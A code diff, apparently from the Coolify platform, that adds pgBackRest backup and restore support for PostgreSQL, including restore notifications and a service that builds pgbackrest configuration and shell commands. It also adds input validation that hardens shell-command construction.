return $this->hasManyThrough(
|
||||
DatabaseRestore::class,
|
||||
ScheduledDatabaseBackupExecution::class,
|
||||
'scheduled_database_backup_id',
|
||||
'scheduled_database_backup_execution_id'
|
||||
);
|
||||
}
|
||||
|
||||
public static function ownedByCurrentTeam()
|
||||
{
|
||||
return ScheduledDatabaseBackup::whereRelation('team', 'id', currentTeam()->id)->orderBy('created_at', 'desc');
|
||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@
|
|||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class ScheduledDatabaseBackupExecution extends BaseModel
|
||||
{
|
||||
|
|
@ -14,6 +15,7 @@ class ScheduledDatabaseBackupExecution extends BaseModel
|
|||
's3_uploaded' => 'boolean',
|
||||
'local_storage_deleted' => 'boolean',
|
||||
's3_storage_deleted' => 'boolean',
|
||||
'pgbackrest_repo_size' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
|
|
@ -21,4 +23,26 @@ class ScheduledDatabaseBackupExecution extends BaseModel
|
|||
{
|
||||
return $this->belongsTo(ScheduledDatabaseBackup::class);
|
||||
}
|
||||
|
||||
public function restores(): HasMany
|
||||
{
|
||||
return $this->hasMany(DatabaseRestore::class, 'scheduled_database_backup_execution_id');
|
||||
}
|
||||
|
||||
public function isPgBackrest(): bool
|
||||
{
|
||||
return $this->engine === 'pgbackrest';
|
||||
}
|
||||
|
||||
public function isNative(): bool
|
||||
{
|
||||
return $this->engine === 'native' || $this->engine === null;
|
||||
}
|
||||
|
||||
public function canRestore(): bool
|
||||
{
|
||||
return $this->isPgBackrest()
|
||||
&& $this->status === 'success'
|
||||
&& ! empty($this->pgbackrest_label);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -92,6 +92,15 @@ class ServerSetting extends Model
|
|||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a sentinel token contains only safe characters.
|
||||
* Prevents OS command injection when the token is interpolated into shell commands.
|
||||
*/
|
||||
public static function isValidSentinelToken(string $token): bool
|
||||
{
|
||||
return (bool) preg_match('/\A[a-zA-Z0-9._\-+=\/]+\z/', $token);
|
||||
}
|
||||
|
||||
public function generateSentinelToken(bool $save = true, bool $ignoreEvent = false)
|
||||
{
|
||||
$data = [
|
||||
|
|
|
|||
|
|
@ -50,6 +50,14 @@ class StandalonePostgresql extends BaseModel
|
|||
'resource_id' => $database->id,
|
||||
'resource_type' => $database->getMorphClass(),
|
||||
]);
|
||||
|
||||
LocalPersistentVolume::create([
|
||||
'name' => 'postgres-pgbackrest-repo-'.$database->uuid,
|
||||
'mount_path' => '/var/lib/pgbackrest',
|
||||
'host_path' => null,
|
||||
'resource_id' => $database->id,
|
||||
'resource_type' => $database->getMorphClass(),
|
||||
]);
|
||||
});
|
||||
static::forceDeleting(function ($database) {
|
||||
$database->persistentStorages()->delete();
|
||||
|
|
@ -345,4 +353,36 @@ class StandalonePostgresql extends BaseModel
|
|||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public function hasPgBackrestBackups(): bool
|
||||
{
|
||||
return $this->scheduledBackups()
|
||||
->where('engine', 'pgbackrest')
|
||||
->where('enabled', true)
|
||||
->exists();
|
||||
}
|
||||
|
||||
public function pgbackrestBackups()
|
||||
{
|
||||
return $this->scheduledBackups()->where('engine', 'pgbackrest');
|
||||
}
|
||||
|
||||
public function restores()
|
||||
{
|
||||
return $this->morphMany(DatabaseRestore::class, 'database');
|
||||
}
|
||||
|
||||
public function pgdataVolume(): ?LocalPersistentVolume
|
||||
{
|
||||
return $this->persistentStorages()
|
||||
->where('mount_path', '/var/lib/postgresql/data')
|
||||
->first();
|
||||
}
|
||||
|
||||
public function pgbackrestRepoVolume(): ?LocalPersistentVolume
|
||||
{
|
||||
return $this->persistentStorages()
|
||||
->where('mount_path', '/var/lib/pgbackrest')
|
||||
->first();
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -15,11 +15,17 @@ class BackupFailed extends CustomEmailNotification
|
|||
|
||||
public string $frequency;
|
||||
|
||||
public string $engine;
|
||||
|
||||
public ?string $backupType;
|
||||
|
||||
public function __construct(ScheduledDatabaseBackup $backup, public $database, public $output, public $database_name)
|
||||
{
|
||||
$this->onQueue('high');
|
||||
$this->name = $database->name;
|
||||
$this->frequency = $backup->frequency;
|
||||
$this->engine = $backup->engine ?? 'native';
|
||||
$this->backupType = $backup->isPgBackrest() ? ($backup->pgbackrest_backup_type ?? 'full') : null;
|
||||
}
|
||||
|
||||
public function via(object $notifiable): array
|
||||
|
|
@ -93,7 +99,7 @@ class BackupFailed extends CustomEmailNotification
|
|||
{
|
||||
$url = base_url().'/project/'.data_get($this->database, 'environment.project.uuid').'/environment/'.data_get($this->database, 'environment.uuid').'/database/'.$this->database->uuid;
|
||||
|
||||
return [
|
||||
$payload = [
|
||||
'success' => false,
|
||||
'message' => 'Database backup failed',
|
||||
'event' => 'backup_failed',
|
||||
|
|
@ -101,8 +107,15 @@ class BackupFailed extends CustomEmailNotification
|
|||
'database_uuid' => $this->database->uuid,
|
||||
'database_type' => $this->database_name,
|
||||
'frequency' => $this->frequency,
|
||||
'engine' => $this->engine,
|
||||
'error_output' => $this->output,
|
||||
'url' => $url,
|
||||
];
|
||||
|
||||
if ($this->backupType) {
|
||||
$payload['backup_type'] = $this->backupType;
|
||||
}
|
||||
|
||||
return $payload;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -15,12 +15,18 @@ class BackupSuccess extends CustomEmailNotification
|
|||
|
||||
public string $frequency;
|
||||
|
||||
public string $engine;
|
||||
|
||||
public ?string $backupType;
|
||||
|
||||
public function __construct(ScheduledDatabaseBackup $backup, public $database, public $database_name)
|
||||
{
|
||||
$this->onQueue('high');
|
||||
|
||||
$this->name = $database->name;
|
||||
$this->frequency = $backup->frequency;
|
||||
$this->engine = $backup->engine ?? 'native';
|
||||
$this->backupType = $backup->isPgBackrest() ? ($backup->pgbackrest_backup_type ?? 'full') : null;
|
||||
}
|
||||
|
||||
public function via(object $notifiable): array
|
||||
|
|
@ -90,7 +96,7 @@ class BackupSuccess extends CustomEmailNotification
|
|||
{
|
||||
$url = base_url().'/project/'.data_get($this->database, 'environment.project.uuid').'/environment/'.data_get($this->database, 'environment.uuid').'/database/'.$this->database->uuid;
|
||||
|
||||
return [
|
||||
$payload = [
|
||||
'success' => true,
|
||||
'message' => 'Database backup successful',
|
||||
'event' => 'backup_success',
|
||||
|
|
@ -98,7 +104,14 @@ class BackupSuccess extends CustomEmailNotification
|
|||
'database_uuid' => $this->database->uuid,
|
||||
'database_type' => $this->database_name,
|
||||
'frequency' => $this->frequency,
|
||||
'engine' => $this->engine,
|
||||
'url' => $url,
|
||||
];
|
||||
|
||||
if ($this->backupType) {
|
||||
$payload['backup_type'] = $this->backupType;
|
||||
}
|
||||
|
||||
return $payload;
|
||||
}
|
||||
}
|
||||
|
|
|
|||
129
app/Notifications/Database/DatabaseRestoreFailed.php
Normal file
129
app/Notifications/Database/DatabaseRestoreFailed.php
Normal file
|
|
@ -0,0 +1,129 @@
|
|||
<?php
|
||||
|
||||
namespace App\Notifications\Database;
|
||||
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Notifications\CustomEmailNotification;
|
||||
use App\Notifications\Dto\DiscordMessage;
|
||||
use App\Notifications\Dto\PushoverMessage;
|
||||
use App\Notifications\Dto\SlackMessage;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
|
||||
class DatabaseRestoreFailed extends CustomEmailNotification
|
||||
{
|
||||
public string $name;
|
||||
|
||||
public string $error;
|
||||
|
||||
public ?string $label;
|
||||
|
||||
public function __construct(
|
||||
public StandalonePostgresql $database,
|
||||
string $error,
|
||||
?string $label = null
|
||||
) {
|
||||
$this->onQueue('high');
|
||||
|
||||
$this->name = $database->name;
|
||||
$this->error = $error;
|
||||
$this->label = $label;
|
||||
}
|
||||
|
||||
public function via(object $notifiable): array
|
||||
{
|
||||
return $notifiable->getEnabledChannels('backup_failed');
|
||||
}
|
||||
|
||||
public function toMail(): MailMessage
|
||||
{
|
||||
$mail = new MailMessage;
|
||||
$mail->subject("Coolify: Database restore failed for {$this->name}");
|
||||
$mail->view('emails.database-restore-failed', [
|
||||
'name' => $this->name,
|
||||
'error' => $this->error,
|
||||
'label' => $this->label,
|
||||
]);
|
||||
|
||||
return $mail;
|
||||
}
|
||||
|
||||
public function toDiscord(): DiscordMessage
|
||||
{
|
||||
$description = "Database restore for {$this->name} has failed.";
|
||||
if ($this->label) {
|
||||
$description .= " Attempted to restore from backup: {$this->label}";
|
||||
}
|
||||
|
||||
$message = new DiscordMessage(
|
||||
title: ':x: Database restore failed',
|
||||
description: $description,
|
||||
color: DiscordMessage::errorColor(),
|
||||
);
|
||||
|
||||
$message->addField('Error', $this->error, false);
|
||||
|
||||
return $message;
|
||||
}
|
||||
|
||||
public function toTelegram(): array
|
||||
{
|
||||
$message = "Coolify: Database restore for {$this->name} has failed.";
|
||||
if ($this->label) {
|
||||
$message .= " Backup: {$this->label}";
|
||||
}
|
||||
$message .= "\n\nError: {$this->error}";
|
||||
|
||||
return [
|
||||
'message' => $message,
|
||||
];
|
||||
}
|
||||
|
||||
public function toPushover(): PushoverMessage
|
||||
{
|
||||
$message = "Database restore for {$this->name} has failed.";
|
||||
if ($this->label) {
|
||||
$message .= "<br/><b>Backup:</b> {$this->label}";
|
||||
}
|
||||
$message .= "<br/><br/><b>Error:</b> {$this->error}";
|
||||
|
||||
return new PushoverMessage(
|
||||
title: 'Database restore failed',
|
||||
level: 'error',
|
||||
message: $message,
|
||||
);
|
||||
}
|
||||
|
||||
public function toSlack(): SlackMessage
|
||||
{
|
||||
$title = 'Database restore failed';
|
||||
$description = "Database restore for {$this->name} has failed.";
|
||||
|
||||
if ($this->label) {
|
||||
$description .= "\n\n*Backup:* {$this->label}";
|
||||
}
|
||||
$description .= "\n\n*Error:* {$this->error}";
|
||||
|
||||
return new SlackMessage(
|
||||
title: $title,
|
||||
description: $description,
|
||||
color: SlackMessage::errorColor()
|
||||
);
|
||||
}
|
||||
|
||||
public function toWebhook(): array
|
||||
{
|
||||
$url = base_url().'/project/'.data_get($this->database, 'environment.project.uuid').'/environment/'.data_get($this->database, 'environment.uuid').'/database/'.$this->database->uuid;
|
||||
|
||||
return [
|
||||
'success' => false,
|
||||
'message' => 'Database restore failed',
|
||||
'event' => 'restore_failed',
|
||||
'database_name' => $this->name,
|
||||
'database_uuid' => $this->database->uuid,
|
||||
'engine' => 'pgbackrest',
|
||||
'backup_label' => $this->label,
|
||||
'error' => $this->error,
|
||||
'url' => $url,
|
||||
];
|
||||
}
|
||||
}
|
||||
131
app/Notifications/Database/DatabaseRestoreSuccess.php
Normal file
131
app/Notifications/Database/DatabaseRestoreSuccess.php
Normal file
|
|
@ -0,0 +1,131 @@
|
|||
<?php
|
||||
|
||||
namespace App\Notifications\Database;
|
||||
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Notifications\CustomEmailNotification;
|
||||
use App\Notifications\Dto\DiscordMessage;
|
||||
use App\Notifications\Dto\PushoverMessage;
|
||||
use App\Notifications\Dto\SlackMessage;
|
||||
use Illuminate\Notifications\Messages\MailMessage;
|
||||
|
||||
class DatabaseRestoreSuccess extends CustomEmailNotification
|
||||
{
|
||||
public string $name;
|
||||
|
||||
public ?string $label;
|
||||
|
||||
public ?string $targetTime;
|
||||
|
||||
public function __construct(
|
||||
public StandalonePostgresql $database,
|
||||
?string $label = null,
|
||||
?string $targetTime = null
|
||||
) {
|
||||
$this->onQueue('high');
|
||||
|
||||
$this->name = $database->name;
|
||||
$this->label = $label;
|
||||
$this->targetTime = $targetTime;
|
||||
}
|
||||
|
||||
public function via(object $notifiable): array
|
||||
{
|
||||
return $notifiable->getEnabledChannels('backup_success');
|
||||
}
|
||||
|
||||
public function toMail(): MailMessage
|
||||
{
|
||||
$mail = new MailMessage;
|
||||
$mail->subject("Coolify: Database restore successful for {$this->name}");
|
||||
$mail->view('emails.database-restore-success', [
|
||||
'name' => $this->name,
|
||||
'label' => $this->label,
|
||||
'target_time' => $this->targetTime,
|
||||
]);
|
||||
|
||||
return $mail;
|
||||
}
|
||||
|
||||
public function toDiscord(): DiscordMessage
|
||||
{
|
||||
$description = "Database restore for {$this->name} was successful.";
|
||||
if ($this->label) {
|
||||
$description .= " Restored from backup: {$this->label}";
|
||||
}
|
||||
|
||||
$message = new DiscordMessage(
|
||||
title: ':white_check_mark: Database restore successful',
|
||||
description: $description,
|
||||
color: DiscordMessage::successColor(),
|
||||
);
|
||||
|
||||
if ($this->targetTime) {
|
||||
$message->addField('Target Time', $this->targetTime, true);
|
||||
}
|
||||
|
||||
return $message;
|
||||
}
|
||||
|
||||
public function toTelegram(): array
|
||||
{
|
||||
$message = "Coolify: Database restore for {$this->name} was successful.";
|
||||
if ($this->label) {
|
||||
$message .= " Restored from backup: {$this->label}";
|
||||
}
|
||||
|
||||
return [
|
||||
'message' => $message,
|
||||
];
|
||||
}
|
||||
|
||||
public function toPushover(): PushoverMessage
|
||||
{
|
||||
$message = "Database restore for {$this->name} was successful.";
|
||||
if ($this->label) {
|
||||
$message .= "<br/><b>Backup:</b> {$this->label}";
|
||||
}
|
||||
|
||||
return new PushoverMessage(
|
||||
title: 'Database restore successful',
|
||||
level: 'success',
|
||||
message: $message,
|
||||
);
|
||||
}
|
||||
|
||||
public function toSlack(): SlackMessage
|
||||
{
|
||||
$title = 'Database restore successful';
|
||||
$description = "Database restore for {$this->name} was successful.";
|
||||
|
||||
if ($this->label) {
|
||||
$description .= "\n\n*Backup:* {$this->label}";
|
||||
}
|
||||
if ($this->targetTime) {
|
||||
$description .= "\n*Target Time:* {$this->targetTime}";
|
||||
}
|
||||
|
||||
return new SlackMessage(
|
||||
title: $title,
|
||||
description: $description,
|
||||
color: SlackMessage::successColor()
|
||||
);
|
||||
}
|
||||
|
||||
public function toWebhook(): array
|
||||
{
|
||||
$url = base_url().'/project/'.data_get($this->database, 'environment.project.uuid').'/environment/'.data_get($this->database, 'environment.uuid').'/database/'.$this->database->uuid;
|
||||
|
||||
return [
|
||||
'success' => true,
|
||||
'message' => 'Database restore successful',
|
||||
'event' => 'restore_success',
|
||||
'database_name' => $this->name,
|
||||
'database_uuid' => $this->database->uuid,
|
||||
'engine' => 'pgbackrest',
|
||||
'backup_label' => $this->label,
|
||||
'target_time' => $this->targetTime,
|
||||
'url' => $url,
|
||||
];
|
||||
}
|
||||
}
|
||||
409
app/Services/Backup/PgBackrestService.php
Normal file
409
app/Services/Backup/PgBackrestService.php
Normal file
|
|
@ -0,0 +1,409 @@
|
|||
<?php
|
||||
|
||||
namespace App\Services\Backup;
|
||||
|
||||
use App\Models\PgbackrestRepo;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\StandalonePostgresql;
|
||||
|
||||
class PgBackrestService
|
||||
{
|
||||
public const PGDATA_PATH = '/var/lib/postgresql/data';
|
||||
|
||||
public const REPO_PATH = '/var/lib/pgbackrest';
|
||||
|
||||
public const CONFIG_PATH = '/etc/pgbackrest';
|
||||
|
||||
public const DEFAULT_COMPRESS_TYPE = 'lz4';
|
||||
|
||||
public const DEFAULT_COMPRESS_LEVEL = 6;
|
||||
|
||||
public const DEFAULT_LOG_LEVEL = 'info';
|
||||
|
||||
public static function getStanzaName(StandalonePostgresql $database): string
|
||||
{
|
||||
return $database->uuid;
|
||||
}
|
||||
|
||||
public static function generateConfig(StandalonePostgresql $database): ?string
|
||||
{
|
||||
$pgbackrestBackups = $database->pgbackrestBackups()->where('enabled', true)->get();
|
||||
|
||||
if ($pgbackrestBackups->isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$backup = $pgbackrestBackups->first();
|
||||
$stanza = self::getStanzaName($database);
|
||||
|
||||
$repos = $backup->enabledPgbackrestRepos()->get();
|
||||
if ($repos->isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$config = "[global]\n";
|
||||
$config .= 'log-level-console='.($backup->pgbackrest_log_level ?? self::DEFAULT_LOG_LEVEL)."\n";
|
||||
$config .= 'log-level-file='.($backup->pgbackrest_log_level ?? self::DEFAULT_LOG_LEVEL)."\n";
|
||||
$config .= 'compress-type='.($backup->pgbackrest_compress_type ?? self::DEFAULT_COMPRESS_TYPE)."\n";
|
||||
$config .= 'compress-level='.($backup->pgbackrest_compress_level ?? self::DEFAULT_COMPRESS_LEVEL)."\n";
|
||||
$config .= "start-fast=y\n";
|
||||
$config .= "stop-auto=y\n";
|
||||
$config .= "delta=y\n";
|
||||
$config .= "process-max=2\n";
|
||||
|
||||
if ($backup->pgbackrest_archive_mode === 'minimal') {
|
||||
$config .= "archive-check=n\n";
|
||||
}
|
||||
|
||||
$config .= "\n[{$stanza}]\n";
|
||||
$config .= 'pg1-path='.self::PGDATA_PATH."\n";
|
||||
|
||||
$validRepoCount = 0;
|
||||
foreach ($repos as $repo) {
|
||||
$repoConfig = self::generateRepoConfig($repo, $database);
|
||||
if (! empty($repoConfig)) {
|
||||
$config .= $repoConfig;
|
||||
$validRepoCount++;
|
||||
}
|
||||
}
|
||||
|
||||
if ($validRepoCount === 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $config;
|
||||
}
|
||||
|
||||
public static function generateRepoConfig(PgbackrestRepo $repo, StandalonePostgresql $database): string
|
||||
{
|
||||
$repoKey = $repo->getRepoKey();
|
||||
$settings = [];
|
||||
|
||||
if ($repo->isS3()) {
|
||||
$s3 = $repo->s3Storage;
|
||||
if (! $s3) {
|
||||
return '';
|
||||
}
|
||||
|
||||
try {
|
||||
validateShellSafePath($s3->bucket, 'S3 bucket');
|
||||
validateShellSafePath($s3->endpoint, 'S3 endpoint');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception('Invalid S3 configuration: '.$e->getMessage());
|
||||
}
|
||||
|
||||
$settings = [
|
||||
"{$repoKey}-type" => 's3',
|
||||
"{$repoKey}-path" => "/{$database->uuid}",
|
||||
"{$repoKey}-s3-bucket" => $s3->bucket,
|
||||
"{$repoKey}-s3-endpoint" => self::cleanEndpoint($s3->endpoint),
|
||||
"{$repoKey}-s3-region" => $s3->region ?: 'us-east-1',
|
||||
"{$repoKey}-s3-uri-style" => 'path',
|
||||
];
|
||||
} else {
|
||||
$repoPath = $repo->getEffectivePath();
|
||||
$settings = [
|
||||
"{$repoKey}-type" => 'posix',
|
||||
"{$repoKey}-path" => $repoPath,
|
||||
];
|
||||
}
|
||||
|
||||
$retentionFull = $repo->retention_full ?: 2;
|
||||
$retentionDiff = $repo->retention_diff ?: 7;
|
||||
$retentionFullType = $repo->retention_full_type === 'time' ? 'time' : 'count';
|
||||
|
||||
$settings["{$repoKey}-retention-full-type"] = $retentionFullType;
|
||||
$settings["{$repoKey}-retention-full"] = $retentionFull;
|
||||
$settings["{$repoKey}-retention-diff"] = $retentionDiff;
|
||||
|
||||
return implode("\n", array_map(fn ($k, $v) => "{$k}={$v}", array_keys($settings), $settings))."\n";
|
||||
}
|
||||
|
||||
public static function cleanEndpoint(string $endpoint): string
|
||||
{
|
||||
$endpoint = preg_replace('#^https?://#', '', $endpoint);
|
||||
$endpoint = rtrim($endpoint, '/');
|
||||
|
||||
return $endpoint;
|
||||
}
|
||||
|
||||
public static function getInstallCommand(): string
|
||||
{
|
||||
return <<<'BASH'
|
||||
if ! command -v pgbackrest &> /dev/null; then
|
||||
if command -v apk >/dev/null 2>&1; then
|
||||
echo "Installing pgBackRest via apk..."
|
||||
apk add --no-cache pgbackrest
|
||||
elif command -v apt-get >/dev/null 2>&1; then
|
||||
echo "Installing pgBackRest via apt..."
|
||||
apt-get update && apt-get install -y --no-install-recommends pgbackrest && rm -rf /var/lib/apt/lists/*
|
||||
elif command -v yum >/dev/null 2>&1; then
|
||||
echo "Installing pgBackRest via yum..."
|
||||
yum install -y pgbackrest
|
||||
else
|
||||
echo "ERROR: Could not detect package manager to install pgBackRest"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo "pgBackRest already installed"
|
||||
fi
|
||||
BASH;
|
||||
}
|
||||
|
||||
public static function buildInstallAndSetupCommand(string $command): string
|
||||
{
|
||||
$installCmd = self::getInstallCommand();
|
||||
$setupCmd = 'mkdir -p /var/lib/pgbackrest/log /tmp/pgbackrest 2>/dev/null || true';
|
||||
$clearLocksCmd = 'rm -rf /tmp/pgbackrest/*.lock 2>/dev/null || true';
|
||||
$permsCmd = 'chown -R postgres:postgres /var/lib/pgbackrest /etc/pgbackrest /tmp/pgbackrest 2>/dev/null || true';
|
||||
|
||||
return "{$installCmd}; {$setupCmd}; {$clearLocksCmd}; {$permsCmd}; su postgres -c \"{$command}\"";
|
||||
}
|
||||
|
||||
public static function buildS3EnvVars(ScheduledDatabaseBackup $backup): array
|
||||
{
|
||||
$envVars = [];
|
||||
$repos = $backup->enabledPgbackrestRepos()->get();
|
||||
|
||||
foreach ($repos as $repo) {
|
||||
if ($repo->isS3() && $repo->s3Storage) {
|
||||
$s3 = $repo->s3Storage;
|
||||
$repoNum = $repo->repo_number;
|
||||
$envVars["PGBACKREST_REPO{$repoNum}_S3_KEY"] = $s3->key;
|
||||
$envVars["PGBACKREST_REPO{$repoNum}_S3_KEY_SECRET"] = $s3->secret;
|
||||
}
|
||||
}
|
||||
|
||||
return $envVars;
|
||||
}
|
||||
|
||||
public static function buildS3EnvVarsForRepo(PgbackrestRepo $repo): array
|
||||
{
|
||||
if (! $repo->isS3() || ! $repo->s3Storage) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$s3 = $repo->s3Storage;
|
||||
$repoNum = $repo->repo_number;
|
||||
|
||||
return [
|
||||
"PGBACKREST_REPO{$repoNum}_S3_KEY" => $s3->key,
|
||||
"PGBACKREST_REPO{$repoNum}_S3_KEY_SECRET" => $s3->secret,
|
||||
];
|
||||
}
|
||||
|
||||
public static function buildDockerEnvArgs(array $envVars): string
|
||||
{
|
||||
$args = '';
|
||||
foreach ($envVars as $key => $value) {
|
||||
if (! preg_match('/^[A-Z_][A-Z0-9_]*$/i', $key)) {
|
||||
throw new \InvalidArgumentException("Invalid environment variable name: {$key}");
|
||||
}
|
||||
$args .= ' -e '.escapeshellarg("{$key}={$value}");
|
||||
}
|
||||
|
||||
return $args;
|
||||
}
|
||||
|
||||
public static function buildBackupCommand(
|
||||
string $stanza,
|
||||
string $type = 'full',
|
||||
?string $logLevel = null,
|
||||
?int $repoNumber = null
|
||||
): string {
|
||||
$escapedStanza = escapeshellarg($stanza);
|
||||
$cmd = "pgbackrest --stanza={$escapedStanza}";
|
||||
|
||||
if ($logLevel) {
|
||||
$escapedLogLevel = escapeshellarg($logLevel);
|
||||
$cmd .= " --log-level-console={$escapedLogLevel}";
|
||||
}
|
||||
|
||||
if ($repoNumber !== null) {
|
||||
$cmd .= ' --repo='.((int) $repoNumber);
|
||||
}
|
||||
|
||||
$escapedType = escapeshellarg($type);
|
||||
$cmd .= " --type={$escapedType} backup";
|
||||
|
||||
return $cmd;
|
||||
}
|
||||
|
||||
public static function wrapWithLockWait(string $command, int $maxWaitSeconds = 900, int $intervalSeconds = 10): string
|
||||
{
|
||||
if ($intervalSeconds <= 0) {
|
||||
throw new \InvalidArgumentException('Interval seconds must be greater than 0');
|
||||
}
|
||||
if ($maxWaitSeconds <= 0) {
|
||||
throw new \InvalidArgumentException('Max wait seconds must be greater than 0');
|
||||
}
|
||||
|
||||
$maxAttempts = (int) ceil($maxWaitSeconds / $intervalSeconds);
|
||||
|
||||
return <<<BASH
|
||||
attempt=0
|
||||
max_attempts={$maxAttempts}
|
||||
while [ \$attempt -lt \$max_attempts ]; do
|
||||
{$command}
|
||||
exit_code=\$?
|
||||
if [ \$exit_code -eq 0 ]; then
|
||||
exit 0
|
||||
elif [ \$exit_code -eq 50 ]; then
|
||||
echo "Lock held by another process, waiting {$intervalSeconds}s before retry (\$((attempt+1))/\$max_attempts)..."
|
||||
sleep {$intervalSeconds}
|
||||
attempt=\$((attempt+1))
|
||||
else
|
||||
exit \$exit_code
|
||||
fi
|
||||
done
|
||||
echo "ERROR: Timeout waiting for lock after {$maxWaitSeconds} seconds"
|
||||
exit 50
|
||||
BASH;
|
||||
}
|
||||
|
||||
public static function buildRestoreCommand(
|
||||
string $stanza,
|
||||
?string $label = null,
|
||||
?string $targetTime = null,
|
||||
?string $logLevel = null,
|
||||
?int $repoNumber = null
|
||||
): string {
|
||||
$escapedStanza = escapeshellarg($stanza);
|
||||
$cmd = "pgbackrest --stanza={$escapedStanza}";
|
||||
|
||||
if ($logLevel) {
|
||||
$escapedLogLevel = escapeshellarg($logLevel);
|
||||
$cmd .= " --log-level-console={$escapedLogLevel}";
|
||||
}
|
||||
|
||||
if ($repoNumber !== null) {
|
||||
$cmd .= ' --repo='.((int) $repoNumber);
|
||||
}
|
||||
|
||||
if ($label) {
|
||||
$escapedLabel = escapeshellarg($label);
|
||||
$cmd .= " --set={$escapedLabel}";
|
||||
}
|
||||
|
||||
if ($targetTime) {
|
||||
$escapedTargetTime = escapeshellarg($targetTime);
|
||||
$cmd .= " --type=time --target={$escapedTargetTime} --target-action=promote";
|
||||
}
|
||||
|
||||
$cmd .= ' restore';
|
||||
|
||||
return $cmd;
|
||||
}
|
||||
|
||||
public static function buildInfoCommand(string $stanza, bool $json = true, ?int $repoNumber = null): string
|
||||
{
|
||||
$escapedStanza = escapeshellarg($stanza);
|
||||
$cmd = "pgbackrest --stanza={$escapedStanza}";
|
||||
|
||||
if ($repoNumber !== null) {
|
||||
$cmd .= ' --repo='.((int) $repoNumber);
|
||||
}
|
||||
|
||||
if ($json) {
|
||||
$cmd .= ' --output=json';
|
||||
}
|
||||
|
||||
$cmd .= ' info';
|
||||
|
||||
return $cmd;
|
||||
}
|
||||
|
||||
public static function buildStanzaCreateCommand(string $stanza): string
|
||||
{
|
||||
$escapedStanza = escapeshellarg($stanza);
|
||||
|
||||
return "pgbackrest --stanza={$escapedStanza} --log-level-console=info stanza-create";
|
||||
}
|
||||
|
||||
public static function buildExpireCommand(
|
||||
string $stanza,
|
||||
?int $repoNumber = null
|
||||
): string {
|
||||
$escapedStanza = escapeshellarg($stanza);
|
||||
$cmd = "pgbackrest --stanza={$escapedStanza}";
|
||||
|
||||
if ($repoNumber !== null) {
|
||||
$cmd .= ' --repo='.((int) $repoNumber);
|
||||
}
|
||||
|
||||
$cmd .= ' expire';
|
||||
|
||||
return $cmd;
|
||||
}
|
||||
|
||||
public static function parseInfoJson(string $json): ?array
|
||||
{
|
||||
$data = json_decode($json, true);
|
||||
|
||||
if (json_last_error() !== JSON_ERROR_NONE) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
public static function getLatestBackup(array $info): ?array
|
||||
{
|
||||
if (empty($info) || ! isset($info[0]['backup'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$backups = $info[0]['backup'] ?? [];
|
||||
|
||||
if (empty($backups)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return end($backups);
|
||||
}
|
||||
|
||||
public static function findBackupByLabel(array $info, string $label): ?array
|
||||
{
|
||||
if (empty($info) || ! isset($info[0]['backup'])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
foreach ($info[0]['backup'] as $backup) {
|
||||
if (($backup['label'] ?? '') === $label) {
|
||||
return $backup;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static function getBackupSize(array $backup): int
|
||||
{
|
||||
return $backup['info']['repository']['size'] ?? 0;
|
||||
}
|
||||
|
||||
public static function getBackupType(array $backup): string
|
||||
{
|
||||
return $backup['type'] ?? 'full';
|
||||
}
|
||||
|
||||
public static function stanzaExists(array $info): bool
|
||||
{
|
||||
if (empty($info) || ! isset($info[0])) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$status = $info[0]['status'] ?? [];
|
||||
|
||||
return ($status['code'] ?? 0) === 0;
|
||||
}
|
||||
|
||||
public static function hasBackups(array $info): bool
|
||||
{
|
||||
if (empty($info) || ! isset($info[0]['backup'])) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return count($info[0]['backup']) > 0;
|
||||
}
|
||||
}
|
||||
|
|
@ -2,6 +2,8 @@
|
|||
|
||||
namespace App\Traits;
|
||||
|
||||
use App\Models\ServerSetting;
|
||||
|
||||
trait HasMetrics
|
||||
{
|
||||
public function getCpuMetrics(int $mins = 5): ?array
|
||||
|
|
@ -26,8 +28,13 @@ trait HasMetrics
|
|||
$from = now()->subMinutes($mins)->toIso8601ZuluString();
|
||||
$endpoint = $this->getMetricsEndpoint($type, $from);
|
||||
|
||||
$token = $server->settings->sentinel_token;
|
||||
if (! ServerSetting::isValidSentinelToken($token)) {
|
||||
throw new \Exception('Invalid sentinel token format. Please regenerate the token.');
|
||||
}
|
||||
|
||||
$response = instant_remote_process(
|
||||
["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$server->settings->sentinel_token}\" {$endpoint}'"],
|
||||
["docker exec coolify-sentinel sh -c 'curl -H \"Authorization: Bearer {$token}\" {$endpoint}'"],
|
||||
$server,
|
||||
false
|
||||
);
|
||||
|
|
|
|||
|
|
@ -92,7 +92,7 @@ function sharedDataApplications()
|
|||
'static_image' => Rule::enum(StaticImageTypes::class),
|
||||
'domains' => 'string|nullable',
|
||||
'redirect' => Rule::enum(RedirectTypes::class),
|
||||
'git_commit_sha' => 'string',
|
||||
'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'docker_registry_image_name' => 'string|nullable',
|
||||
